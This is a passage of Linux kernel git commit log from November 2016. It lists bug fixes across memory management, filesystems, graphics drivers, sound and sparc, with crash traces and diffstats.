kmem_cache(sys) is created, OFF_SLAB is possible and if pagealloc is enabled it will try to enable it first under certain conditions. Given kmem_cache(sys) reuses the original flag, you can have both flags at the same time resulting in allocation failures and odd behaviors. This fix discards allocator specific flags from memcg before calling create_cache. The bug exists since 4.6-rc1 and affects testing debug pagealloc configurations. Fixes: b03a017bebc4 ("mm/slab: introduce new slab management type, OBJFREELIST_SLAB") Link: http://lkml.kernel.org/r/1478553075-120242-1-git-send-email-thgarnie@google.com Signed-off-by: Greg Thelen Signed-off-by: Thomas Garnier Tested-by: Thomas Garnier Acked-by: Christoph Lameter Cc: Pekka Enberg Cc: David Rientjes Cc: Joonsoo Kim Cc: Vladimir Davydov Cc: Michal Hocko Cc: Johannes Weiner Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/slab_common.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 70d78fe7c8b640b5acfad56ad341985b3810998a Author: Andrey Ryabinin Date: Thu Nov 10 10:46:38 2016 -0800 coredump: fix unfreezable coredumping task It could be not possible to freeze coredumping task when it waits for 'core_state->startup' completion, because threads are frozen in get_signal() before they got a chance to complete 'core_state->startup'. Inability to freeze a task during suspend will cause suspend to fail. Also CRIU uses cgroup freezer during dump operation. So with an unfreezable task the CRIU dump will fail because it waits for a transition from 'FREEZING' to 'FROZEN' state which will never happen. Use freezer_do_not_count() to tell freezer to ignore coredumping task while it waits for core_state->startup completion. Link: http://lkml.kernel.org/r/1475225434-3753-1-git-send-email-aryabinin@virtuozzo.com Signed-off-by: Andrey Ryabinin Acked-by: Pavel Machek Acked-by: Oleg Nesterov Cc: Alexander Viro Cc: Tejun Heo Cc: "Rafael J. Wysocki" Cc: Michal Hocko Cc: Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/coredump.c | 3 +++ 1 file changed, 3 insertions(+) commit 60da81ea61201f43387793d1cc3f501609d922ed Author: Eryu Guan Date: Thu Nov 10 10:46:35 2016 -0800 mm/filemap: don't allow partially uptodate page for pipes Starting from 4.9-rc1 kernel, I started noticing some test failures of sendfile(2) and splice(2) (sendfile0N and splice01 from LTP) when testing on sub-page block size filesystems (tested both XFS and ext4), these syscalls start to return EIO in the tests. e.g. sendfile02 1 TFAIL : sendfile02.c:133: sendfile(2) failed to return expected value, expected: 26, got: -1 sendfile02 2 TFAIL : sendfile02.c:133: sendfile(2) failed to return expected value, expected: 24, got: -1 sendfile02 3 TFAIL : sendfile02.c:133: sendfile(2) failed to return expected value, expected: 22, got: -1 sendfile02 4 TFAIL : sendfile02.c:133: sendfile(2) failed to return expected value, expected: 20, got: -1 This is because that in sub-page block size cases, we don't need the whole page to be uptodate, only the part we care about is uptodate is OK (if fs has ->is_partially_uptodate defined). But page_cache_pipe_buf_confirm() doesn't have the ability to check the partially-uptodate case, it needs the whole page to be uptodate. So it returns EIO in this case. This is a regression introduced by commit 82c156f85384 ("switch generic_file_splice_read() to use of ->read_iter()"). Prior to the change, generic_file_splice_read() doesn't allow partially-uptodate page either, so it worked fine. Fix it by skipping the partially-uptodate check if we're working on a pipe in do_generic_file_read(), so we read the whole page from disk as long as the page is not uptodate. I think the other way to fix it is to add the ability to check & allow partially-uptodate page to page_cache_pipe_buf_confirm(), but that is much harder to do and seems gain little. Link: http://lkml.kernel.org/r/1477986187-12717-1-git-send-email-guaneryu@gmail.com Signed-off-by: Eryu Guan Reviewed-by: Jan Kara Cc: Al Viro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/filemap.c | 3 +++ 1 file changed, 3 insertions(+) commit 96b96a96ddee4ba08ce4aeb8a558a3271fd4a7a7 Author: Mike Kravetz Date: Thu Nov 10 10:46:32 2016 -0800 mm/hugetlb: fix huge page reservation leak in private mapping error paths Error paths in hugetlb_cow() and hugetlb_no_page() may free a newly allocated huge page. If a reservation was associated with the huge page, alloc_huge_page() consumed the reservation while allocating. When the newly allocated page is freed in free_huge_page(), it will increment the global reservation count. However, the reservation entry in the reserve map will remain. This is not an issue for shared mappings as the entry in the reserve map indicates a reservation exists. But, an entry in a private mapping reserve map indicates the reservation was consumed and no longer exists. This results in an inconsistency between the reserve map and the global reservation count. This 'leaks' a reserved huge page. Create a new routine restore_reserve_on_error() to restore the reserve entry in these specific error paths. This routine makes use of a new function vma_add_reservation() which will add a reserve entry for a specific address/page. In general, these error paths were rarely (if ever) taken on most architectures. However, powerpc contained arch specific code that that resulted in an extra fault and execution of these error paths on all private mappings. Fixes: 67961f9db8c4 ("mm/hugetlb: fix huge page reserve accounting for private mappings) Link: http://lkml.kernel.org/r/1476933077-23091-2-git-send-email-mike.kravetz@oracle.com Signed-off-by: Mike Kravetz Reported-by: Jan Stancek Tested-by: Jan Stancek Reviewed-by: Aneesh Kumar K.V Acked-by: Hillf Danton Cc: Naoya Horiguchi Cc: Michal Hocko Cc: Kirill A . Shutemov Cc: Dave Hansen Cc: Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/hugetlb.c | 66 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 66 insertions(+) commit d006c71f8ad2663dd47f81bf96bf655eeed428e2 Author: Junxiao Bi Date: Thu Nov 10 10:46:29 2016 -0800 ocfs2: fix not enough credit panic The following panic was caught when run ocfs2 disconfig single test (block size 512 and cluster size 8192). ocfs2_journal_dirty() return -ENOSPC, that means credits were used up. The total credit should include 3 times of "num_dx_leaves" from ocfs2_dx_dir_rebalance(), because 2 times will be consumed in ocfs2_dx_dir_transfer_leaf() and 1 time will be consumed in ocfs2_dx_dir_new_cluster() -> __ocfs2_dx_dir_new_cluster() -> ocfs2_dx_dir_format_cluster(). But only two times is included in ocfs2_dx_dir_rebalance_credits(), fix it. This can cause read-only fs(v4.1+) or panic for mainline linux depending on mount option. ------------[ cut here ]------------ kernel BUG at fs/ocfs2/journal.c:775! invalid opcode: 0000 [#1] SMP Modules linked in: ocfs2 nfsd lockd grace nfs_acl auth_rpcgss sunrpc autofs4 ocfs2_dlmfs ocfs2_stack_o2cb ocfs2_dlm ocfs2_nodemanager ocfs2_stackglue configfs sd_mod sg ip6t_REJECT nf_reject_ipv6 nf_conntrack_ipv6 nf_defrag_ipv6 xt_state nf_conntrack ip6table_filter ip6_tables be2iscsi iscsi_boot_sysfs bnx2i cnic uio cxgb4i cxgb4 cxgb3i libcxgbi cxgb3 mdio ib_iser rdma_cm ib_cm iw_cm ib_sa ib_mad ib_core ib_addr ipv6 iscsi_tcp libiscsi_tcp libiscsi scsi_transport_iscsi ppdev xen_kbdfront xen_netfront fb_sys_fops sysimgblt sysfillrect syscopyarea parport_pc parport acpi_cpufreq i2c_piix4 i2c_core pcspkr ext4 jbd2 mbcache xen_blkfront floppy pata_acpi ata_generic ata_piix dm_mirror dm_region_hash dm_log dm_mod CPU: 2 PID: 10601 Comm: dd Not tainted 4.1.12-71.el6uek.bug24939243.x86_64 #2 Hardware name: Xen HVM domU, BIOS 4.4.4OVM 02/11/2016 task: ffff8800b6de6200 ti: ffff8800a7d48000 task.ti: ffff8800a7d48000 RIP: ocfs2_journal_dirty+0xa7/0xb0 [ocfs2] RSP: 0018:ffff8800a7d4b6d8 EFLAGS: 00010286 RAX: 00000000ffffffe4 RBX: 00000000814d0a9c RCX: 00000000000004f9 RDX: ffffffffa008e990 RSI: ffffffffa008f1ee RDI: ffff8800622b6460 RBP: ffff8800a7d4b6f8 R08: ffffffffa008f288 R09: ffff8800622b6460 R10: 0000000000000000 R11: 0000000000000282 R12: 0000000002c8421e R13: ffff88006d0cad00 R14: ffff880092beef60 R15: 0000000000000070 FS: 00007f9b83e92700(0000) GS:ffff8800be880000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007fb2c0d1a000 CR3: 0000000008f80000 CR4: 00000000000406e0 Call Trace: ocfs2_dx_dir_transfer_leaf+0x159/0x1a0 [ocfs2] ocfs2_dx_dir_rebalance+0xd9b/0xea0 [ocfs2] ocfs2_find_dir_space_dx+0xd3/0x300 [ocfs2] ocfs2_prepare_dx_dir_for_insert+0x219/0x450 [ocfs2] ocfs2_prepare_dir_for_insert+0x1d6/0x580 [ocfs2] ocfs2_mknod+0x5a2/0x1400 [ocfs2] ocfs2_create+0x73/0x180 [ocfs2] vfs_create+0xd8/0x100 lookup_open+0x185/0x1c0 do_last+0x36d/0x780 path_openat+0x92/0x470 do_filp_open+0x4a/0xa0 do_sys_open+0x11a/0x230 SyS_open+0x1e/0x20 system_call_fastpath+0x12/0x71 Code: 1d 3f 29 09 00 48 85 db 74 1f 48 8b 03 0f 1f 80 00 00 00 00 48 8b 7b 08 48 83 c3 10 4c 89 e6 ff d0 48 8b 03 48 85 c0 75 eb eb 90 <0f> 0b eb fe 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 RIP ocfs2_journal_dirty+0xa7/0xb0 [ocfs2] ---[ end trace 91ac5312a6ee1288 ]--- Kernel panic - not syncing: Fatal exception Kernel Offset: disabled Link: http://lkml.kernel.org/r/1478248135-31963-1-git-send-email-junxiao.bi@oracle.com Signed-off-by: Junxiao Bi Cc: Mark Fasheh Cc: Joel Becker Cc: Joseph Qi Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/ocfs2/dir.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c6c7d83b9c9e6a8b3e6d84c820ac61fbffc9e396 Author: Hans de Goede Date: Thu Nov 10 10:46:26 2016 -0800 Revert "console: don't prefer first registered if DT specifies stdout-path" This reverts commit 05fd007e4629 ("console: don't prefer first registered if DT specifies stdout-path"). The reverted commit changes existing behavior on which many ARM boards rely. Many ARM small-board-computers, like e.g. the Raspberry Pi have both a video output and a serial console. Depending on whether the user is using the device as a more regular computer; or as a headless device we need to have the console on either one or the other. Many users rely on the kernel behavior of the console being present on both outputs, before the reverted commit the console setup with no console= kernel arguments on an ARM board which sets stdout-path in dt would look like this: [root@localhost ~]# cat /proc/consoles ttyS0 -W- (EC p a) 4:64 tty0 -WU (E p ) 4:1 Where as after the reverted commit, it looks like this: [root@localhost ~]# cat /proc/consoles ttyS0 -W- (EC p a) 4:64 This commit reverts commit 05fd007e4629 ("console: don't prefer first registered if DT specifies stdout-path") restoring the original behavior. Fixes: 05fd007e4629 ("console: don't prefer first registered if DT specifies stdout-path") Link: http://lkml.kernel.org/r/20161104121135.4780-2-hdegoede@redhat.com Signed-off-by: Hans de Goede Cc: Paul Burton Cc: Rob Herring Cc: Frank Rowand Cc: Thorsten Leemhuis Cc: Greg Kroah-Hartman Cc: Tejun Heo Cc: Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds drivers/of/base.c | 2 -- include/linux/console.h | 6 ------ kernel/printk/printk.c | 13 +------------ 3 files changed, 1 insertion(+), 20 deletions(-) commit c3901e722b2975666f42748340df798114742d6d Author: Naoya Horiguchi Date: Thu Nov 10 10:46:23 2016 -0800 mm: hwpoison: fix thp split handling in memory_failure() When memory_failure() runs on a thp tail page after pmd is split, we trigger the following VM_BUG_ON_PAGE(): page:ffffd7cd819b0040 count:0 mapcount:0 mapping: (null) index:0x1 flags: 0x1fffc000400000(hwpoison) page dumped because: VM_BUG_ON_PAGE(!page_count(p)) ------------[ cut here ]------------ kernel BUG at /src/linux-dev/mm/memory-failure.c:1132! memory_failure() passed refcount and page lock from tail page to head page, which is not needed because we can pass any subpage to split_huge_page(). Fixes: 61f5d698cc97 ("mm: re-enable THP") Link: http://lkml.kernel.org/r/1477961577-7183-1-git-send-email-n-horiguchi@ah.jp.nec.com Signed-off-by: Naoya Horiguchi Cc: [4.5+] Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/memory-failure.c | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) commit dd111be69114cc867f8e826284559bfbc1c40e37 Author: Jann Horn Date: Thu Nov 10 10:46:19 2016 -0800 swapfile: fix memory corruption via malformed swapfile When root activates a swap partition whose header has the wrong endianness, nr_badpages elements of badpages are swabbed before nr_badpages has been checked, leading to a buffer overrun of up to 8GB. This normally is not a security issue because it can only be exploited by root (more specifically, a process with CAP_SYS_ADMIN or the ability to modify a swap file/partition), and such a process can already e.g. modify swapped-out memory of any other userspace process on the system. Link: http://lkml.kernel.org/r/1477949533-2509-1-git-send-email-jann@thejh.net Signed-off-by: Jann Horn Acked-by: Kees Cook Acked-by: Jerome Marchand Acked-by: Johannes Weiner Cc: "Kirill A. Shutemov" Cc: Vlastimil Babka Cc: Hugh Dickins Cc: Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/swapfile.c | 2 ++ 1 file changed, 2 insertions(+) commit 6b36ba599d602d8a73920fb5c470fe272fac49c1 Author: Shiraz Hashim Date: Thu Nov 10 10:46:16 2016 -0800 mm/cma.c: check the max limit for cma allocation CMA allocation request size is represented by size_t that gets truncated when same is passed as int to bitmap_find_next_zero_area_off. We observe that during fuzz testing when cma allocation request is too high, bitmap_find_next_zero_area_off still returns success due to the truncation. This leads to kernel crash, as subsequent code assumes that requested memory is available. Fail cma allocation in case the request breaches the corresponding cma region size. Link: http://lkml.kernel.org/r/1478189211-3467-1-git-send-email-shashim@codeaurora.org Signed-off-by: Shiraz Hashim Cc: Catalin Marinas Cc: Stephen Rothwell Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/cma.c | 3 +++ 1 file changed, 3 insertions(+) commit eef06b82f16c78dc0197e3e9d5b2230647a890ff Author: Alexey Dobriyan Date: Thu Nov 10 10:46:13 2016 -0800 scripts/bloat-o-meter: fix SIGPIPE Fix piping output to a program which quickly exits (read: head -n1) $ ./scripts/bloat-o-meter ../vmlinux-000 ../obj/vmlinux | head -n1 add/remove: 0/0 grow/shrink: 9/60 up/down: 124/-305 (-181) close failed in file object destructor: sys.excepthook is missing lost sys.stderr Link: http://lkml.kernel.org/r/20161028204618.GA29923@avx2 Signed-off-by: Alexey Dobriyan Cc: Matt Mackall Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds scripts/bloat-o-meter | 3 +++ 1 file changed, 3 insertions(+) commit 9956edf37e65e93fbb76dcff1236dff2323d306a Author: Hugh Dickins Date: Thu Nov 10 10:46:11 2016 -0800 shmem: fix pageflags after swapping DMA32 object If shmem_alloc_page() does not set PageLocked and PageSwapBacked, then shmem_replace_page() needs to do so for itself. Without this, it puts newpage on the wrong lru, re-unlocks the unlocked newpage, and system descends into "Bad page" reports and freeze; or if CONFIG_DEBUG_VM=y, it hits an earlier VM_BUG_ON_PAGE(!PageLocked), depending on config. But shmem_replace_page() is not a common path: it's only called when swapin (or swapoff) finds the page was already read into an unsuitable zone: usually all zones are suitable, but gem objects for a few drm devices (gma500, omapdrm, crestline, broadwater) require zone DMA32 if there's more than 4GB of ram. Fixes: 800d8c63b2e9 ("shmem: add huge pages support") Link: http://lkml.kernel.org/r/alpine.LSU.2.11.1611062003510.11253@eggly.anvils Signed-off-by: Hugh Dickins Acked-by: Kirill A. Shutemov Cc: [4.8.x] Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/shmem.c | 2 ++ 1 file changed, 2 insertions(+) commit 5e322beefc8699b5747cfb35539a9496034e4296 Author: Vlastimil Babka Date: Thu Nov 10 10:46:07 2016 -0800 mm, frontswap: make sure allocated frontswap map is assigned Christian Borntraeger reports: With commit 8ea1d2a1985a ("mm, frontswap: convert frontswap_enabled to static key") kmemleak complains about a memory leak in swapon unreferenced object 0x3e09ba56000 (size 32112640): comm "swapon", pid 7852, jiffies 4294968787 (age 1490.770s) hex dump (first 32 bytes): 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ backtrace: __vmalloc_node_range+0x194/0x2d8 vzalloc+0x58/0x68 SyS_swapon+0xd60/0x12f8 system_call+0xd6/0x270 Turns out kmemleak is right. We now allocate the frontswap map depending on the kernel config (and no longer on the enablement) swapfile.c: [...] if (IS_ENABLED(CONFIG_FRONTSWAP)) frontswap_map = vzalloc(BITS_TO_LONGS(maxpages) * sizeof(long)); but later on this is passed along --> enable_swap_info(p, prio, swap_map, cluster_info, frontswap_map); and ignored if frontswap is disabled --> frontswap_init(p->type, frontswap_map); static inline void frontswap_init(unsigned type, unsigned long *map) { if (frontswap_enabled()) __frontswap_init(type, map); } Thing is, that frontswap map is never freed. The leakage is relatively not that bad, because swapon is an infrequent and privileged operation. However, if the first frontswap backend is registered after a swap type has been already enabled, it will WARN_ON in frontswap_register_ops() and frontswap will not be available for the swap type. Fix this by making sure the map is assigned by frontswap_init() as long as CONFIG_FRONTSWAP is enabled. Fixes: 8ea1d2a1985a ("mm, frontswap: convert frontswap_enabled to static key") Link: http://lkml.kernel.org/r/20161026134220.2566-1-vbabka@suse.cz Signed-off-by: Vlastimil Babka Reported-by: Christian Borntraeger Cc: Konrad Rzeszutek Wilk Cc: Boris Ostrovsky Cc: David Vrabel Cc: Juergen Gross Cc: "Kirill A. Shutemov" Cc: Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/frontswap.h | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 9e80c719a82be2399bb06eab6cd27cb97aa59742 Author: Tetsuo Handa Date: Thu Nov 10 10:46:04 2016 -0800 mm: remove extra newline from allocation stall warning Commit 63f53dea0c98 ("mm: warn about allocations which stall for too long") by error embedded "\n" in the format string, resulting in strange output. [ 722.876655] kworker/0:1: page alloction stalls for 160001ms, order:0 [ 722.876656] , mode:0x2400000(GFP_NOIO) [ 722.876657] CPU: 0 PID: 6966 Comm: kworker/0:1 Not tainted 4.8.0+ #69 Link: http://lkml.kernel.org/r/1476026219-7974-1-git-send-email-penguin-kernel@I-love.SAKURA.ne.jp Signed-off-by: Tetsuo Handa Acked-by: Michal Hocko Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/page_alloc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8e94a46c1770884166b31adc99eba7da65a446a7 Author: Mario Kleiner Date: Wed Nov 9 02:25:15 2016 +0100 drm/amdgpu: Attach exclusive fence to prime exported bo's. (v5) External clients which import our bo's wait only for exclusive dmabuf-fences, not on shared ones, ditto for bo's which we import from external providers and write to. Therefore attach exclusive fences on prime shared buffers if our exported buffer gets imported by an external client, or if we import a buffer from an external exporter. See discussion in thread: https://lists.freedesktop.org/archives/dri-devel/2016-October/122370.html Prime export tested on Intel iGPU + AMD Tonga dGPU as DRI3/Present Prime render offload, and with the Tonga standalone as primary gpu. v2: Add a wait for all shared fences before prime export, as suggested by Christian Koenig. v3: - Mark buffer prime_exported in amdgpu_gem_prime_pin, so we only use the exclusive fence when exporting a bo to external clients like a separate iGPU, but not when exporting/importing from/to ourselves as part of regular DRI3 fd passing. - Propagate failure of reservation_object_wait_rcu back to caller. v4: - Switch to a prime_shared_count counter instead of a flag, which gets in/decremented on prime_pin/unpin, so we can switch back to shared fences if all clients detach from our exported bo. - Also switch to exclusive fence for prime imported bo's. v5: - Drop lret, instead use int ret -> long ret, as proposed by Christian. Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=95472 Tested-by: Mike Lothian (v1) Signed-off-by: Mario Kleiner Reviewed-by: Christian König . Cc: Christian König Cc: Michel Dänzer Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org drivers/gpu/drm/amd/amdgpu/amdgpu.h | 1 + drivers/gpu/drm/amd/amdgpu/amdgpu_bo_list.c | 2 +- drivers/gpu/drm/amd/amdgpu/amdgpu_prime.c | 20 +++++++++++++++++++- 3 files changed, 21 insertions(+), 2 deletions(-) commit 9a2541910dc7eaaa6859eea8a0ffda673059a623 Author: Takashi Iwai Date: Fri Nov 11 12:33:20 2016 +0100 ALSA: hda - Fix mic regression by ASRock mobo fixup The commit [1a3f099101b8: ALSA: hda - Fix surround output pins for ASRock B150M mobo] introduced a fixup of pin configs for ASRock mobos to fix the surround outputs. However, this overrides the pin configs of the mic pins as if they are outputs-only, effectively disabling the mic inputs. Of course, it's a regression wrt mic functionality. Actually the pins 0x18 and 0x1a don't need to be changed; we just need to disable the bogus pins 0x14 and 0x15. Then the auto-parser will pick up mic pins as switchable and assign the surround outputs there. This patch removes the incorrect pin overrides of NID 0x18 and 0x1a from the ASRock fixup. Fixes: 1a3f099101b8 ('ALSA: hda - Fix surround output pins for ASRock...') Reported-and-tested-by: Vitor Antunes Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=187431 Cc: Signed-off-by: Takashi Iwai sound/pci/hda/patch_realtek.c | 2 -- 1 file changed, 2 deletions(-) commit 05d36a7dff0b091803034a0d70b41af86aecbc8d Merge: bc33b0c d42c797 Author: Paolo Bonzini Date: Fri Nov 11 11:13:36 2016 +0100 Merge tag 'kvm-arm-for-v4.9-rc4' of git://git.kernel.org/pub/scm/linux/kernel/git/kvmarm/kvmarm into HEAD KVM/ARM updates for v4.9-rc4 - Kick the vcpu when a pending interrupt becomes pending again - Prevent access to invalid interrupt registers - Invalid TLBs when two vcpus from the same VM share a CPU commit fc22b787890f9f9067fd130feec42297a4ee62ba Author: Ville Syrjälä Date: Fri Oct 21 16:44:38 2016 +0300 drm/i915: Refresh that status of MST capable connectors in ->detect() Once we've determined that the sink is MST capable we never end up running through the full detect cycle again, despite getting HPDs. Fix tht by ripping out the incorrect piece of code responsible. This got broken when I moved the long HPD handling to the ->detect() hook, but failed to remove the leftover code. Cc: Ander Conselvan de Oliveira Cc: drm-intel-fixes@lists.freedesktop.org Cc: Rui Tiago Matos Tested-by: Rui Tiago Matos Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=98323 Cc: Kirill A. Shutemov Tested-by: Kirill A. Shutemov References: https://bugs.freedesktop.org/show_bug.cgi?id=98306 Fixes: 1015811609c0 ("drm/i915: Move long hpd handling into the hotplug work") Cc: stable@vger.kernel.org Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1477057478-29328-1-git-send-email-ville.syrjala@linux.intel.com Reviewed-by: Chris Wilson (cherry picked from commit 1aab956c7b8872fb6976328316bfad62c6e67cf8) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/intel_dp.c | 10 ---------- 1 file changed, 10 deletions(-) commit 9f1a7ab260300c670608a9db861187069f8b179a Author: Ville Syrjälä Date: Mon Nov 7 22:20:55 2016 +0200 drm/i915: Grab the rotation from the passed plane state for VLV sprites Use the passed in plane_state instead of plane->state in vlv_update_plane(). Currently the two are one and the same, but if we start queuing up multiple plane updates they might not be. Looks like this was rebase fail on my part. Cc: Daniel Vetter Fixes: 8d0deca8c6e0 ("drm/i915: Pass 90/270 vs. 0/180 rotation info for intel_gen4_compute_page_offset()") Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1478550057-24864-4-git-send-email-ville.syrjala@linux.intel.com Reviewed-by: Chris Wilson (cherry picked from commit 11df4d95b3ad9e6a6a6e0907bb200610a4d24887) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/intel_sprite.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 48004881f6935704e5e4ffaf9e0ec921a25db243 Author: Chris Wilson Date: Mon Nov 7 16:52:04 2016 +0000 drm/i915: Mark CPU cache as dirty when used for rendering On LLC, or even snooped, machines rendering via the GPU ends up in the CPU cache. This cacheline dirt also needs to be flushed to main memory when moving to an incoherent domain, such as the display's scanout engine. Mostly, this happens because either the object is marked as dirty from its first use or is avoided by setting the object into the display domain from the start. v2: Treat WT as not requiring a clflush prior to use on the display engine as well. Fixes: 0f71979ab7fb ("drm/i915: Performed deferred clflush inside set-cache-level") References: https://bugs.freedesktop.org/show_bug.cgi?id=95414 Signed-off-by: Chris Wilson Cc: Jani Nikula Cc: Ville Syrjälä Cc: # v4.0+ Reviewed-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/20161107165204.7008-1-chris@chris-wilson.co.uk (cherry picked from commit 7aa6ca61ee5546d74b76610894924cdb0d4a1af0) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/i915_gem_execbuffer.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit d786810b2f896854506e7b698a137f074942e410 Author: Kan Liang Date: Tue Nov 8 13:54:41 2016 -0500 perf/x86/intel/uncore: Add more Intel uncore IMC PCI IDs for SkyLake Several uncore IMC PCI IDs are missed for Intel SkyLake. Add the PCI IDs for SkyLake Y, U, H and S platforms. Rename the ID macros for 0x191f and 0x190c. The corresponding bug: https://bugzilla.kernel.org/show_bug.cgi?id=187301 The related datasheets are also attached in the bug entry for permanent reference. Reported-by: Ben Widawsky Tested-by: Ben Widawsky Signed-off-by: Kan Liang Reviewed-by: Ben Widawsky Cc: Alexander Shishkin Cc: Arnaldo Carvalho de Melo Cc: Jiri Olsa Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Stephane Eranian Cc: Thomas Gleixner Cc: Vince Weaver Link: http://lkml.kernel.org/r/1478631281-5061-1-git-send-email-kan.liang@intel.com Signed-off-by: Ingo Molnar arch/x86/events/intel/uncore_snb.c | 32 ++++++++++++++++++++++++++++---- 1 file changed, 28 insertions(+), 4 deletions(-) commit e2384535a623ed51151d1bbed5263b9f8a87a74d Merge: 76af753 7bc61cc Author: Dave Airlie Date: Fri Nov 11 11:55:11 2016 +1000 Merge branch 'topic-arcpgu-fixes' of https://github.com/foss-for-synopsys-dwc-arc-processors/linux into drm-fixes * 'topic-arcpgu-fixes' of https://github.com/foss-for-synopsys-dwc-arc-processors/linux: drm/arcpgu: Accommodate adv7511 switch to DRM bridge commit 7bc61cc5df808008b77a3b72cf814960c675518b Author: Eugeniy Paltsev Date: Wed Oct 19 10:46:18 2016 +0300 drm/arcpgu: Accommodate adv7511 switch to DRM bridge ARC PGU driver starts crashing on initialization after 'commit e12c2f645557 ("drm/i2c: adv7511: Convert to drm_bridge")' This happenes because in "arcpgu_drm_hdmi_init" function we get pointer of "drm_i2c_encoder_driver" structure, which doesn't exist after adv7511 hdmi encoder interface changed from slave encoder to drm bridge. So, when we call "encoder_init" function from this structure driver crashes. Bootlog: ------------------------------------->8-------------------------------- [drm] Initialized drm 1.1.0 20060810 arcpgu e0017000.pgu: arc_pgu ID: 0xabbabaab arcpgu e0017000.pgu: assigned reserved memory node frame_buffer@9e000000 Path: (null) CPU: 0 PID: 1 Comm: swapper Not tainted 4.8.0-00001-gb5642252fa01-dirty #8 task: 9a058000 task.stack: 9a032000 [ECR ]: 0x00220100 => Invalid Read @ 0x00000004 by insn @ 0x803934e8 [EFA ]: 0x00000004 [BLINK ]: drm_atomic_helper_connector_dpms+0xa6/0x230 [ERET ]: drm_atomic_helper_connector_dpms+0xa4/0x230 [STAT32]: 0x00000846 : K DE E2 E1 BTA: 0x8016d949 SP: 0x9a033e34 FP: 0x00000000 LPS: 0x8036f6fc LPE: 0x8036f700 LPC: 0x00000000 r00: 0x8063c118 r01: 0x805b98ac r02: 0x00000b11 r03: 0x00000000 r04: 0x9a010f54 r05: 0x00000000 r06: 0x00000001 r07: 0x00000000 r08: 0x00000028 r09: 0x00000001 r10: 0x00000007 r11: 0x00000054 r12: 0x720a3033 Stack Trace: drm_atomic_helper_connector_dpms+0xa4/0x230 arcpgu_drm_hdmi_init+0xbc/0x228 arcpgu_probe+0x168/0x244 platform_drv_probe+0x26/0x64 really_probe+0x1f0/0x32c __driver_attach+0xa8/0xd0 bus_for_each_dev+0x3c/0x74 bus_add_driver+0xc2/0x184 driver_register+0x50/0xec do_one_initcall+0x3a/0x120 kernel_init_freeable+0x108/0x1a0 ------------------------------------->8-------------------------------- Fix ARC PGU driver to be able work with drm bridge hdmi encoder interface. The hdmi connector code isn't needed anymore as we expect the adv7511 bridge driver to create/manage the connector. Signed-off-by: Eugeniy Paltsev Reviewed-by: Archit Taneja Signed-off-by: Alexey Brodkin drivers/gpu/drm/arc/arcpgu_hdmi.c | 159 ++++---------------------------------- 1 file changed, 17 insertions(+), 142 deletions(-) commit 07b5ab3f71d318e52c18cc3b73c1d44c908aacfa Author: Andreas Larsson Date: Wed Nov 9 10:43:05 2016 +0100 sparc32: Fix inverted invalid_frame_pointer checks on sigreturns Signed-off-by: Andreas Larsson Signed-off-by: David S. Miller arch/sparc/kernel/signal_32.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 74a5ed5c4f692df2ff0a2313ea71e81243525519 Author: Thomas Tai Date: Thu Nov 3 09:19:01 2016 -0700 sparc64: Fix find_node warning if numa node cannot be found When booting up LDOM, find_node() warns that a physical address doesn't match a NUMA node. WARNING: CPU: 0 PID: 0 at arch/sparc/mm/init_64.c:835 find_node+0xf4/0x120 find_node: A physical address doesn't match a NUMA node rule. Some physical memory will be owned by node 0.Modules linked in: CPU: 0 PID: 0 Comm: swapper Not tainted 4.9.0-rc3 #4 Call Trace: [0000000000468ba0] __warn+0xc0/0xe0 [0000000000468c74] warn_slowpath_fmt+0x34/0x60 [00000000004592f4] find_node+0xf4/0x120 [0000000000dd0774] add_node_ranges+0x38/0xe4 [0000000000dd0b1c] numa_parse_mdesc+0x268/0x2e4 [0000000000dd0e9c] bootmem_init+0xb8/0x160 [0000000000dd174c] paging_init+0x808/0x8fc [0000000000dcb0d0] setup_arch+0x2c8/0x2f0 [0000000000dc68a0] start_kernel+0x48/0x424 [0000000000dcb374] start_early_boot+0x27c/0x28c [0000000000a32c08] tlb_fixup_done+0x4c/0x64 [0000000000027f08] 0x27f08 It is because linux use an internal structure node_masks[] to keep the best memory latency node only. However, LDOM mdesc can contain single latency-group with multiple memory latency nodes. If the address doesn't match the best latency node within node_masks[], it should check for an alternative via mdesc. The warning message should only be printed if the address doesn't match any node_masks[] nor within mdesc. To minimize the impact of searching mdesc every time, the last matched mask and index is stored in a variable. 